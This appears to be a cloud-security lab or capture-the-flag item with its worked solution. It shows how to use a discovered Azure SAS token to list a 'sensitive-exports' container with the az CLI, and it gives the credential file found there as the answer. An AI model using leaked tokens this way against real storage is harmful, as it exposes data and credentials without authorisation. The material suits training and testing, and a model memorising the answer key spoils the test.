Using a discovered SAS token with read/list permissions, enumerate blobs inside the sensitive-exports container.

service-principal-creds.json

Detailed Solution:

Set variables:

ACCOUNT= " prodreportstore01 "

CONTAINER= " sensitive-exports "

SAS= " ?sv=2025-01-05 & ss=b & srt=sco & sp=rl & se=2026-08-01T00:00:00Z & sig= < signature > "

List blobs:

az storage blob list \

--account-name " $ACCOUNT " \

--container-name " $CONTAINER " \

--sas-token " $SAS " \

--query " [].name " \

--output table

Expected output:

Name

----------------------------

monthly-report.csv

service-principal-creds.json

readme.txt

The credential file is:

service-principal-creds.json

================